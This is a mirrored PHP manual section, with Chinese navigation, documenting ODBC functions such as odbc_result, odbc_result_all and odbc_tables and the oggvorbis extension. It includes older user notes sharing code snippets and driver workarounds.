it returns the correct data.
add a note add a note

后退 | 起点 | 前进
odbc_prepare | 上一级 | odbc_procedurecolumns


odbc_procedurecolumns

(PHP 4, PHP 5)

odbc_procedurecolumns -- Retrieve information about parameters to procedures

Description

resource odbc_procedurecolumns ( resource connection_id [, string qualifier, string owner, string proc, string column] )

Returns the list of input and output parameters, as well as the columns that make up the result set for the specified procedures. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • PROCEDURE_QUALIFIER

  • PROCEDURE_OWNER

  • PROCEDURE_NAME

  • COLUMN_NAME

  • COLUMN_TYPE

  • DATA_TYPE

  • TYPE_NAME

  • PRECISION

  • LENGTH

  • SCALE

  • RADIX

  • NULLABLE

  • REMARKS

The result set is ordered by PROCEDURE_QUALIFIER, PROCEDURE_OWNER, PROCEDURE_NAME and COLUMN_TYPE.

The owner, proc and column arguments accept search patterns ('%' to match zero or more characters and '_' to match a single character).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_primarykeys | 上一级 | odbc_procedures


odbc_procedures

(PHP 4, PHP 5)

odbc_procedures -- Get the list of procedures stored in a specific data source

Description

resource odbc_procedures ( resource connection_id [, string qualifier, string owner, string name] )

Lists all procedures in the requested range. Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • PROCEDURE_QUALIFIER

  • PROCEDURE_OWNER

  • PROCEDURE_NAME

  • NUM_INPUT_PARAMS

  • NUM_OUTPUT_PARAMS

  • NUM_RESULT_SETS

  • REMARKS

  • PROCEDURE_TYPE

The owner and name arguments accept search patterns ('%' to match zero or more characters and '_' to match a single character).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_procedurecolumns | 上一级 | odbc_result_all


odbc_result_all

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_result_all -- Print result as HTML table

Description

int odbc_result_all ( resource result_id [, string format] )

Returns the number of rows in the result or FALSE on error.

odbc_result_all() will print all rows from a result identifier produced by odbc_exec(). The result is printed in HTML table format. With the optional string argument format, additional overall table formatting can be done.

add a note add a note User Contributed Notes
php dot net at jeffntom dot com
10-Dec-2005 01:41
It is a bit easier and more powerful if you instead use CSS styles within the form argument"
odbc_result_all($res1,  'name="datatable" id="datatable"');
ZAPtheZAPs dot schulze dot zap at zap dot telstra dot com
02-May-2004 05:12
a revised version marius' code that works with Memo fields. (also returns rather than prints strings)

function ODBCResourceToHTML($res, $sTable, $sRow)
{$cFields = odbc_num_fields($res);
 $strTable = "<table $sTable ><tr>";
 for ($n=1; $n<=$cFields; $n++)
   {$strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";}
   $strTable .= "</tr>";
   while(odbc_fetch_row($res))
   { $strTable .= "<tr>";
     for ($n=1; $n<=$cFields; $n++)
             {$cell = odbc_result($res, $n);
   if ($cell=='') {$strTable .= "<td $sRow>&nbsp;</td>";}
             else {$strTable .= "<td $sRow>". $cell . "</td>";}}
     $strTable .= "</tr>";}
 $strTable .= "</table>";
 Return $strTable;}

DEAR MODERATORS: you would save yourselve much much time by making this entire manual into a wiki (ie like http://en.wikipedia.org ) and within a year this would be the best manual on anything!!

best wishes, Erich
marius at stones dot com
25-Jun-2003 01:21
I've written this little function that functions simirarly to odbc_result_all, but works with MySQL:

/**
 * This function emulates the odbc_result_all function, which will return a HTML table cosisting of
 * the results of an SQL query.
 * Usage: pass a mysql result set to this function, and it will return (not output) a string containing
 * an HTML table
 * Parameters:
 * - $result is your mysql result set (result of a mysql_query() function call)
 * - $tableFeatures is a string containing any HTML TABLE features you would like in the table
 *  (eg. BORDER="0" etc.)
 */
function _mysql_result_all($result, $tableFeatures="") {
  $table .= "<!--Debugging output for SQL query-->\n\n";
  $table .= "<table $tableFeatures>\n\n";
  $noFields = mysql_num_fields($result);
  $table .= "<tr>\n";
  for ($i = 0; $i < $noFields; $i++) {
   $field = mysql_field_name($result, $i);
   $table .= "\t<th>$field</th>\n";
  }
  while ($r = mysql_fetch_row($result)) {
   $table .= "<tr>\n";
   foreach ($r as $kolonne) {
     $table .= "\t<td>$kolonne</td>\n";
   }
   $table .= "</tr>\n";
  }
  $table .= "</table>\n\n";
  $table .= "<!--End debug from SQL query-->\n\n";
  return $table;
}

Enjoy...
cchristianed at netzero dot net
03-Apr-2003 02:31
About the $result reseting array instead of using:
1) odbc_fetch_row($result, 1);
use:
2) odbc_fetch_row($result, 0);

1) will fail because it will not show first record, arrays start with subscript 0.
sanjay dot ghimire at kpmg-infodesign dot com
04-Dec-2002 07:47
I wrote a small function slightly similiar to odbc_record_all, but there you can use format for both table and rows separately, which is not by odbc_record_all. hope it will be useful some how.

--- Sanjay, Germany

Here is code:

odbc_result_all_ex($result, 'Border=0 cellspacing=0 cellpadding=5', "style='FONT-FAMILY:Tahoma; FONT-SIZE:8pt; BORDER-BOTTOM:solid 1pt gree'");

function odbc_result_all_ex($res, $sTable, $sRow)
{
   $cFields = odbc_num_fields($res);

   $strTable = "<table $sTable>";
   $strTable .= "<tr>";
   for ($n=1; $n<=$cFields; $n++)
   {

       $strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";

   }
   $strTable .= "</tr>";

   while(odbc_fetch_row($res))
   {
       $strTable .= "<tr>";
           for ($n=1; $n<=$cFields; $n++)
           {
               if (odbc_result($res, $n)=='')
               {
                   $strTable .= "<td $sRow>&nbsp;</td>";
               }
               else
               {
                   $strTable .= "<td $sRow>". odbc_result($res, $n) . "</td>";
               }

           }
       $strTable .= "</tr>";
   }

   $strTable .= "</table>";

   Print $strTable;

}
hwaarl at ctp dot com
27-Jan-2001 01:43
Being a bit more helpful, I did get to see all rows by using the function rather than just the method call.

Doesn't work:
   odbc_result_all($res)
Does work:
   $nr = odbc_result_all($res)
rabbott at calstatela dot edu
16-Aug-2000 08:46
odbc_result_all($result) cycles through
$result. So a subsequent call to odbc_fetch_row($result) will fail.
You must use odbc_fetch_row($result, 1)
to reset $result.  (But when I do that,
I get a crash!)
martin dot vgagern at gmx dot net
26-Mar-2000 05:49
As some people stated in the ODBC overview, some buggy drivers always return the number of rows to be -1. AFAIK the only way to help this situation is to count the rows by calls to odbc_fetch_into or odbc_fetch_row and then build the table yourself.
Cwhite1000 at yahoo dot com
23-Apr-1999 08:39
Here is an example of how to use the form argument"
odbc_result_all($res1, "BGCOLOR='#AAFFAA' border='3' width=30% bordercolordark='#FF0000'");
add a note add a note

后退 | 起点 | 前进
odbc_procedures | 上一级 | odbc_result


odbc_result

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_result -- Get result data

Description

mixed odbc_result ( resource result_id, mixed field )

Returns the string contents of the field, FALSE on error, NULL for NULL data, or TRUE for binary data.

field can either be an integer containing the column number of the field you want; or it can be a string containing the name of the field. For example:

<?php
$item_3 = odbc_result($Query_ID, 3);
$item_val = odbc_result($Query_ID, "val");
?>

The first call to odbc_result() returns the value of the third field in the current record of the query result. The second function call to odbc_result() returns the value of the field whose field name is "val" in the current record of the query result. An error occurs if a column number parameter for a field is less than one or exceeds the number of columns (or fields) in the current record. Similarly, an error occurs if a field with a name that is not one of the fieldnames of the table(s) that is(are) being queried.

Field indices start from 1. Regarding the way binary or long column data is returned refer to odbc_binmode() and odbc_longreadlen().

add a note add a note User Contributed Notes
baoshenyi at hotmail dot com
18-Mar-2005 02:51
I use one store procedure to retrieve value of identifier, other, name, section,data and datecreated coulmns to variable from SQL server table

using $odbc_result = odbc_exec($connect,$query); function.

After that, I using following code,
for($f=1;$f<=odbc_num_fields($odbc_result);$f++) {echo "<td style=\"font-weight:bold\">$f ".odbc_field_name($odbc_result,$f)."</td>";}
echo "</tr></table>";
odbc_fetch_row($odbc_result);
echo odbc_result($odbc_result,1)."<br>";
echo odbc_result($odbc_result,2)."<br>";
echo odbc_result($odbc_result,3)."<br>";
echo odbc_result($odbc_result,4)."<br>";
echo odbc_result($odbc_result,5)."<br>";
echo odbc_result($odbc_result,6)."<br>";

The result is as following,
1 identifier 2 other 3 name 4 section 5 data 6 datecreated
id1
other2
name3
section4
Warning: odbc_result() [function.odbc-result]: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid Descriptor Index, SQL state S1002 in SQLGetData in d:\lawdepot_test\contracts\common\LicensingSQL.php on line 630
2005-03-16 18:12:00

I can not get "data"(Text column) back. Firstly, I think "data" column is too long for odbc_result($odbc_result,5) function, but after I check my old colde, I found I can get the "data" back using same function odbc_result().

I would like to hear any suggestions from you. Depressed on this question.

Michael
vlad dot posea at mymail dot ro
02-May-2003 07:22
i use odbc and mysql and i noticed after losing a lot of time that if you write something like this:
echo odbc_result($result,1);
....
echo odbc_result($result,1);
the second echo will fail. so it's more useful to save the result of odbc_result in a variable and use it later
like that: $var=odbc_result($result,1);
i hope this will be useful!
spooky
15-Mar-2003 01:27
It took me a while to find out why there was a problem with retrieving data with odbc_result statement.

Warning: SQL error: [Microsoft][ODBC SQL Server Driver]
SQL state S1002 in SQLGetData

State S1002 means that invalid column index has been used.
I checked it hundred times - column index was OK.

Finally i ordered calls of odbc_result statement according to order of fields in the table. It helped.

Best regards
AKA MBG
28-Feb-2003 06:29
About memo fields accessing through ODBC.
I got error:

SQL error: [Microsoft][ODBC Visual FoxPro Driver]Invalid cursor position, SQL state S1109 in SQLGetData SQL error...

In fact there is no necessity to change Memo to Text type of field in database. Example of source code:

class ds_fconstr extends db_base_table
{
  var $db_fields  = array('name' => "",
                         'password' => "");

  $query = "SELECT * FROM ds_fconstr";
  $odbc  = odbc_connect (DB_DSN, "", "")
  $req = odbc_exec ($odbc, $query)

  // create this class
  $temp = new ds_fconstr();

  // error inside of this function (of parent class)
  // when try call "odbc_result" for "memo" field
  $temp->setFieldsValue ($req);

   // all OK here
  foreach ($temp->db_fields as $name => $value)
  {
   $temp->db_fields[$name] = odbc_result($req,$name);
  }
}

// where base class is following
Class db_base_table
{
  var $db_fields = array();

  // set value of fields from fetched row
  // ----------------------------
  function setFieldsValue($req)
  {
     foreach ($this->db_fields as $name => $value)
     {
         // error is HERE (only for "memo" fields, others are ok),
       // because (possible) PHP do not transfer
       // correctly result of odbc_exec with "memo"
       $this->db_fields[$name] = odbc_result($req,$name);
     }
   }
};

So, when i call directly "odbc_result" in the same function where i have called "odbc_exec" then all is right (see line "// all OK here").
22-Jan-2003 10:43
From http://www.php.net/manual/en/function.odbc-longreadlen.php but relevant here, also.

An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length

to get around the limit on returned chars.
fate at doityourself dot com
21-Jan-2003 01:14
if you want to quickly change a website from odbc- to mysql-data-access, you could use a simple function like this one:
function myresult ($cur,$nr) {
   return mysql_result($cur,0,mysql_field_name($cur,$nr-1));
}
and just do a global replace from "odbc_result" to "myresult".

beware, you should only use this if you don't care too much about performance, as this will start a query for every field you request - the better way is of course using mysql_fetch_row!
murat at nospam dot robcol dot k12 dot tr
15-Jul-2002 05:44
When trying to get a date/time field from an Access database, odbc_result returns the date as text (e.g. 1998-07-11 21:12:23). You may use strtotime function to convert this into a format which can be used with PHP.

e.g.
echo "The date is "
 .date("r",strtotime(odbc_result($myquery,"mydate")));
huevo dot SP at M dot earthling dot net
01-Aug-2001 06:46
With an Access 2K database, odbc_result will only work the first time it is called on a memo field (odbc_field_type returns 'LONGCHAR').

$good = odbc_result($result,'Description');
# $good holds the field value
$fail = odbc_result($result,'Description');
# $fail holds false

This tripped me up when I did something like this:

for ($i=1; $i<=odbc_num_fields($result); $i++) {
  if(odbc_result($result,$i)){
   ... more code ...
   echo odbc_result($result,$i);
   ... snip ...
  }
}

For any field type except memo, this code works perfectly.  But on memo fields, odbc_result returns false on the second call and nothing is echoed.

Be careful, use a temporary variable instead of multiple calls to odbc_result.  (It's good programming practice anyway)

for (...) {
  $temp = odbc_result($result,$i);
  if($temp){
   ...
   echo $temp;
   ...
  }
}
user at frosch dot org
30-May-2001 11:55
Hopefully useful note on accessing TEXT fields on Windows, using PHP's ODBC support to access Sybase*. With the following code:

"SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,description AS projinfo FROM Project ORDER BY projtitel ASC"

I was getting a strange error:

  Warning: SQL error: [INTERSOLV][ODBC SQL Server driver][SQL Server]Invalid column name 'projanfang'. , SQL state S0022 in SQLGetData in [**scriptname and path removed**] on line 126

even though I was clearly selecting a field as 'projanfang'. The reason I worked out eventually is that Sybase/ODBC attempts to do a conversion on the TEXT field 'description', which fails since the limit for CONVERT is 255 characters, and TEXT is a field type with a  2 GB limit. I am not sure why it doesn't work implicitly, but it does explicitly. The following code will work without errors:

  "SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,CONVERT(CHAR(255),description) AS projinfo FROM Project ORDER BY projtitel ASC"

What you do if you have a need for more than 255 characters of your text field, I do not know :(. I have also tried longreadlen, but I couldn't work out how it could be used.

* System details: Windows NT 4.0 SP6a, IIS 4.0, Sybase 11.5 Adaptive Enteprise, PHP 4.0.5.
10-Mar-2001 04:29
Estou adicionando esta mensagem porque demorei a conseguir executar um determinado procedimento.
Se voc possui procedures armazenadas em algum banco, como Sybase Anywhere ou MSSql, voc pode se referenciar as mesmas da seguinte forma:
$procedure = odbc_exec($conexao,"execute pr_calc_saldo_aplic $cd_coop, $conta, $cd_produto, $titulo, $in_listar, $vl_saldo_aplic_decimal");
A diferena est no listar. Se voc usar o odbc_result_all, ele mostrar inclusive os nomes das colunas. O que normalmente no  interessante.
Porem, se o resultado  algum calculo, o odbc_result funciona perfeitamente, por exemplo:
Se o resultado em um result_all for:
@valor
1500.00
voc pode usar odbc_result($procedure,1)
Isto retornar apenas o resultado do clculo.
nomail at nomail dot nomail
04-Dec-2000 09:00
Problem: Function returns a max of 4095 bytes of a cell with one call.

Tip: If you have a cell containing more than 4095 bytes, write a loop and call the cell over and over as long return is not "". All returns can be added up to the whole string.
dac at felspar dot com
28-Oct-2000 10:43
FWIW, ADO and similar ODBC-using interfaces also cannot distinguish between A.id and B.id. The easy solution is aliasing in SQL:

Consider a table "A" consisting only of the column "id". Next, consider the following query:

SELECT * FROM A JOIN B ON A.id=B.id

With ODBC, you'd be forced to use the numerical index, rather than the name. However, you could rewrite the query, too:

SELECT A.id AS A_id, B.id AS B_id FROM A JOIN B ON A.id=B.id

This can be better on three counts:

Firstly, unless you really want everything in the result set, it might be faster. SQL servers can be faster with "*", but often the networking will benefit from less data (Or a smaller tuple width, if you're into database jargon).

Secondly, since you're forced into thinking about what you want out of the query, you'll probably write better SQL as a result.

Thirdly, if you change the query - or tables - slightly, you don't have to revisit all your code to cope with the change.

Aplogies for stating the obvious, and having no imagination with my examples.
dinin at fas dot harvard dot edu
22-Jul-2000 12:35
Here's a limitation that isn't mentioned anywhere (that I could see) and gave me a rather large headache for a couple of hours trying to figure out why my database wasn't initializing correctly.
If you are trying to retrieve a large collection of fields from a database, be aware that odbc_result may only return up to 33 result columns.  Any more than that, and it generates a "result out of range" warning in your script.
(I tried adjusting to have 32 fields, with the same bug.) It generates an error "Warning: Field index is larger than the number of fields inyour-script.php on line 70" ANY time you try to retrieve the last field of a sufficiently large record. What worked for me was just to write the last column twice... that way, the query has 34 fields, but the last two are the same. You know it'll crash if you ask for #34, but just use ODBC_result(current_query, 33) and you won't have a problem. Good luck

-D
dave at quiver dot com
15-Jul-2000 03:44
If I use and MS Access 2000 database with fields of type memo, I get:
"Warning: SQL error: [Microsoft][ODBC Driver Manager] Invalid cursor state, SQL state 24000 in SQLGetData in D:\Inetpub\wwwroot\xxx\xxx.php on line XxX." If I change to type "text," everything's cool.
zhiliin at 188 dot net
19-Dec-1999 06:04
$cc=odbc_result($result_id,'val');
if(isset($cc){
echo "val=\"\"";//exist
}else{
echo "val=null";
}
try this, Best Regard.
jniels23 at csc dot com
25-Mar-1999 12:31
Beware if you have fields with the same name in a result

$res = odbc_exec($conn,"select * from PeopleMR,People,Role,Organisation".
" WHERE PeopleMR.MeetingID = $MeetingID" .
" ORDER BY People.Surname");

I have the field "Name" from both TABLE Role and TABLE Organisation, as for MySQL you would do :

mysql_result($res,$count,"Role.Name");
mysql_result($res,$count,"Organisation.Name");

 but with odbc you do :

odbc_result($res,$count,"Name");

this gives you the result of TABLE Role "Name" so you have to find the Field Number for the Organisation"Name" to have the correct result.
add a note add a note

后退 | 起点 | 前进
odbc_result_all | 上一级 | odbc_rollback


odbc_rollback

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_rollback -- Rollback a transaction

Description

bool odbc_rollback ( resource connection_id )

Rolls back all pending statements on connection_id. Returns TRUE on success, FALSE on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_result | 上一级 | odbc_setoption


odbc_setoption

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_setoption -- Adjust ODBC settings

Description

bool odbc_setoption ( resource id, int function, int option, int param )

This function allows fiddling with the ODBC options for a particular connection or query result. It was written to help find work around to problems in quirky ODBC drivers. You should probably only use this function if you are an ODBC programmer and understand the effects the various options will have. You will certainly need a good ODBC reference to explain all the different options and values that can be used. Different driver versions support different options.

Because the effects may vary depending on the ODBC driver, use of this function in scripts to be made publicly available is strongly discouraged. Also, some ODBC options are not available to this function because they must be set before the connection is established or the query is prepared. However, if on a particular job it can make PHP work so your boss doesn't tell you to use a commercial product, that's all that really matters.

如果成功则返回 TRUE，失败则返回 FALSE。

id is a connection id or result id on which to change the settings.For SQLSetConnectOption(), this is a connection id. For SQLSetStmtOption(), this is a result id.

Function is the ODBC function to use. The value should be 1 for SQLSetConnectOption() and 2 for SQLSetStmtOption().

Parameter option is the option to set.

Parameter param is the value for the given option.

例子 1. ODBC Setoption Examples

<?php
// 1. Option 102 of SQLSetConnectOption() is SQL_AUTOCOMMIT.
//    Value 1 of SQL_AUTOCOMMIT is SQL_AUTOCOMMIT_ON.
//    This example has the same effect as
//    odbc_autocommit($conn, true);

odbc_setoption($conn, 1, 102, 1);

// 2. Option 0 of SQLSetStmtOption() is SQL_QUERY_TIMEOUT.
//    This example sets the query to timeout after 30 seconds.

$result = odbc_prepare($conn, $sql);
odbc_setoption($result, 2, 0, 30);
odbc_execute($result);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_rollback | 上一级 | odbc_specialcolumns


odbc_specialcolumns

(PHP 4, PHP 5)

odbc_specialcolumns -- Returns either the optimal set of columns that uniquely identifies a row in the table or columns that are automatically updated when any value in the row is updated by a transaction

Description

resource odbc_specialcolumns ( resource connection_id, int type, string qualifier, string owner, string table, int scope, int nullable )

When the type argument is SQL_BEST_ROWID, odbc_specialcolumns() returns the column or columns that uniquely identify each row in the table.

When the type argument is SQL_ROWVER, odbc_specialcolumns() returns the column or columns in the specified table, if any, that are automatically updated by the data source when any value in the row is updated by any transaction.

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • SCOPE

  • COLUMN_NAME

  • DATA_TYPE

  • TYPE_NAME

  • PRECISION

  • LENGTH

  • SCALE

  • PSEUDO_COLUMN

The result set is ordered by SCOPE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_setoption | 上一级 | odbc_statistics


odbc_statistics

(PHP 4, PHP 5)

odbc_statistics -- Retrieve statistics about a table

Description

resource odbc_statistics ( resource connection_id, string qualifier, string owner, string table_name, int unique, int accuracy )

Get statistics about a table and its indexes. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER

  • TABLE_OWNER

  • TABLE_NAME

  • NON_UNIQUE

  • INDEX_QUALIFIER

  • INDEX_NAME

  • TYPE

  • SEQ_IN_INDEX

  • COLUMN_NAME

  • COLLATION

  • CARDINALITY

  • PAGES

  • FILTER_CONDITION

The result set is ordered by NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME and SEQ_IN_INDEX.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_specialcolumns | 上一级 | odbc_tableprivileges


odbc_tableprivileges

(PHP 4, PHP 5)

odbc_tableprivileges -- Lists tables and the privileges associated with each table

Description

resource odbc_tableprivileges ( resource connection_id, string qualifier, string owner, string name )

Lists tables in the requested range and the privileges associated with each table. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER

  • TABLE_OWNER

  • TABLE_NAME

  • GRANTOR

  • GRANTEE

  • PRIVILEGE

  • IS_GRANTABLE

The result set is ordered by TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

The owner and name arguments accept search patterns ('%' to match zero or more characters and '_' to match a single character).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_statistics | 上一级 | odbc_tables


odbc_tables

(PHP 3 >= 3.0.17, PHP 4, PHP 5)

odbc_tables -- Get the list of table names stored in a specific data source

Description

resource odbc_tables ( resource connection_id [, string qualifier [, string owner [, string name [, string types]]]] )

Lists all tables in the requested range. Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER

  • TABLE_OWNER

  • TABLE_NAME

  • TABLE_TYPE

  • REMARKS

The result set is ordered by TABLE_TYPE, TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

The owner and name arguments accept search patterns ('%' to match zero or more characters and '_' to match a single character).

To support enumeration of qualifiers, owners, and table types, the following special semantics for the qualifier, owner, name, and table_type are available:

  • If qualifier is a single percent character (%) and owner and name are empty strings, then the result set contains a list of valid qualifiers for the data source. (All columns except the TABLE_QUALIFIER column contain NULLs.)

  • If owner is a single percent character (%) and qualifier and name are empty strings, then the result set contains a list of valid owners for the data source. (All columns except the TABLE_OWNER column contain NULLs.)

  • If table_type is a single percent character (%) and qualifier, owner and name are empty strings, then the result set contains a list of valid table types for the data source. (All columns except the TABLE_TYPE column contain NULLs.)

If table_type is not an empty string, it must contain a list of comma-separated values for the types of interest; each value may be enclosed in single quotes (') or unquoted. For example, "'TABLE','VIEW'" or "TABLE, VIEW". If the data source does not support a specified table type, odbc_tables() does not return any results for that type.

See also odbc_tableprivileges() to retrieve associated privileges.

add a note add a note User Contributed Notes
narcomweb at wanadoo dot fr
06-Nov-2005 01:33
Here a Code for listing Table names
<?php
$dbh = odbc_connect($dsn, $user, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result)){
     if(odbc_result($result,"TABLE_TYPE")=="TABLE")
       echo"<br>".odbc_result($result,"TABLE_NAME");

   }
?>
You don't have views or System tables with.
Only simple tables in your database.
pmains at ux dot com
22-Jul-2005 10:39
This probably works for a variety of formats, but if you want a list of *just* the table names from an SQL dsn source (I'm using MSSQL), here's the code.

<?php

# ... assign $dsn, $uid, & $pwd ...

$dbh = odbc_connect($dsn, $uid, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result))
       array_push($tables, odbc_result($result, "TABLE_NAME") );

   foreach( $tables as $t ) {
       echo "$t\n";
   }

?>
iggvopvantoodlwin
01-Mar-2004 11:42
With regard to the note made on results not working.
Test the database with the easy:

odbc_result_all(odbc_tables($db));

$db is obviously a connected batadase. Then start to experiment:

if(!$odbcr=odbc_tables($db,"udb","", "%", "'TABLE'"))

"udb" is the DNS - aka 'name of my ODBC database in the Windows ODBC thingamy'. In result_all the full path was shown but I just used the name I assigned; either should work.

The second parameter "" is listed by result_all as "TABLE_SCHEM" and all items were "NULL", so I have put "".

The third parameter is "%". According to result_all this col is "TABLE_NAME", so I could have put the name of one of my tables, i.e. "Address".

In my case I have an Access database setup with several tables. In ODBC I have created a link. Running the all on everything result above shows a set of system tables which I do not need to know about at this point so I look at the result and then build my new table check using the "TABLE" string as the tables I am interested in are listed as "TABLE" under their "TABLE_TYPE" column.
kthejoker at nospam dot hotmail dot com
12-Dec-2002 02:29
A bit of an extension on the previous posts:

I had a whale of a time trying to make this command work .. the parameters were hard to decipher, and frequently my Apache module would just crash and burn when I tried to run it. I FINALLY figured out what was wrong ...

< -- assuming $conn is your odbc_connect --->

$tablelist=odbc_tables($conn);
$tablelist=odbc_result_all($tablelist);

simply doesn't work. I don't understand the exact logistics of it, but the only way I could get it to post the results was this:

$tablelist=odbc_result_all(odbc_tables($conn));

From there it was rather simple to add in parameters that fished out the results I wanted.

To repeat again: I do not understand why the 2nd method works and the 1st one does not. However, having struggled mightily with this function for almost 24 hours, posting this solution has proven to be greatly satisfying.
liquidicee at hotmail dot com
11-Mar-2001 12:02
Here's how to get a list of all the tables in your database.. with an actual example of how its done and how to get the results.. and you don't need to put in schema and all that other crap
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
if (odbc_result($tablelist, 4) == "TABLE")
echo "" . odbc_result($tablelist, 3) ."<br>";
}
to understand what the above is doing,
use odbc_result_all($tablelist); this will show you EVERYTHING returned by odbc_tables() then you can look through it and see better how odbc_tables() works and what exactly it returns in the string to get a better idea on how to deal with it.
it would have saved me alot of time if i would have just taken a look at the full string returned by odbc_tables(), so i suggest you take the minute or two and look... here is an example of how to do it..which would have been helpful for me ;x.
<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
echo odbc_result_all($tablelist);
}
?>
hopefully this will help some people.. i have alot more to add about this but no time :(
so again hope this helps.
Liquidice
fmk at swwwing dot com
03-Oct-2000 03:22
use odbc_tables($con, "%") to get a list of all available catalogs (databases).

use odbc_tables($con, "", "%") to get a list of all schemas available.

use odbc_tables($con, "", "", "", "%") to get a list of all table types available.

use odbc_tables($con, "my catalog", "my schema", "%", "'TABLE', 'VIEW'") to get a list of all tables available.

using odbc_tables($con, "%", "%", "%", "%") will return an empty array !

Before PHP 4.0.3 uou could use this function with 1 or 5 prarms. From 4.0.3 the function matches the documentation.
add a note add a note

后退 | 起点 | 前进
odbc_tableprivileges | 上一级 | oggvorbis


oggvorbis

PHP 手册
后退 前进

XCV. oggvorbis

简介

The OGG/Vorbis file format, as defined by http://www.vorbis.com/ and http://www.vorbis.com/, is a scheme for compressing audio streams by multiple factors with a minimum of quality loss. This extension adds Ogg Vorbis support to PHP's URL Wrappers. When used in read mode, compressed OGG/Vorbis data is expanded to raw PCM audio in one of six PCM encoding formats listed below.

需求

This extension requires PHP >= 4.3.0, libogg >= 1.0, and libvorbis >= 1.0.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

安装

oggvorbis is installed through the usual PECL package installation process.

  • $ pear install oggvorbis

  • Copy the resulting oggvorbis.so to an appropriate location and add extension=oggvorbis.so to your php.ini file or load it dynamically in your PHP script using dl('oggvorbis.so');

Context options

表格 1. OGG/Vorbis tuning options

Option | Definition | Relevance | Default
pcm_mode | PCM byte encoding used. See constants below. | Read / Write | OGGVORBIS_PCM_S16_LE
rate | PCM Sampling rate. Measured in Hz. | Write only | 44100
bitrate | Vorbis Average Bitrate Encoding / Variable Bitrate Encoding. Measured in bps (ABR) or Quality level (VBR: 0.0 to 1.0). 128000 ABR is rough equal to 0.4 VBR. | Write only | 128000
channels | Number of PCM channels. 1 == Mono, 2 == Stereo. | Write only | 2
serialno | Serial Number of stream within file. Must be unique within file. Because of the potential to select a duplicate serial number within a chained file, make efforts to manually assign unique numbers when encoding. | Write only | Random
comments | Associative array of file comments. Will be translated to strtoupper($name) . "=$value". Note: This context option is not available in oggvorbis-0.1 | Write only | array('ENCODER' => 'PHP/OggVorbis, http://pear.php.net/oggvorbis')

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 2. OGG/Vorbis supports PCM encodings in the following formats

Constant | Definition
OGGVORBIS_PCM_U8 | Unsigned 8-bit PCM.
OGGVORBIS_PCM_S8 | Signed 8-bit PCM.
OGGVORBIS_PCM_U16_LE | Unsigned 16-bit PCM. Little Endian byte order.
OGGVORBIS_PCM_U16_BE | Unsigned 16-bit PCM. Big Endian byte order.
OGGVORBIS_PCM_S16_LE | Signed 16-bit PCM. Little Endian byte order.
OGGVORBIS_PCM_S16_BE | Signed 16-bit PCM. Big Endian byte order.
目录
Usage -- Examples on using the ogg:// wrapper.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_tables | 上一级 | Usage


Usage

(no version information, might be only in CVS)

Usage -- Examples on using the ogg:// wrapper.

范例

例子 1. Reading an OGG/Vorbis file

<?php
dl("oggvorbis.so");

/* By default, ogg:// will decode to Signed 16-bit Little Endian */
$fp = fopen('ogg://myaudio.ogg', 'r');

/* Collect some information about the file. */
$metadata = stream_get_meta_data($fp);

/* Inspect the first song (usually the only song,
   but OGG/Vorbis files may be chained) */
$songdata = $metadata['wrapper_data'][0];

echo "OGG/Vorbis file encoded by: {$songdata['vendor']}\n.";
echo "  {$songdata['channels']} channels of {$songdata['rate']}Hz sampling encoded at {$songdata['bitrate_nominal']}bps.\n";
foreach($songdata['comments'] as $comment) {
    echo "  $comment\n";
}

while ($audio_data = fread($fp, 8192)) {
  /* Do something with the PCM audio we're extracting from the OGG.
     Copying to /dev/dsp is a good target on linux systems,
     just remember to setup the device for your sampling mode first. */
}

fclose($fp);

?>

例子 2. Encode an audio file to OGG/Vorbis

<?php
dl('oggvorbis.so');

$context = stream_context_create(array('ogg'=>array(
             'pcm_mode' => OGGVORBIS_PCM_S8,  /* Signed 8bit audio */
             'rate' => 44100,                 /* 44kHz CD quality */
             'bitrate' => 0.5,                /* Midquality VBR */
             'channels' => 1,                 /* Mono */
             'serialno' => 12345)));          /* Unique within our stream */

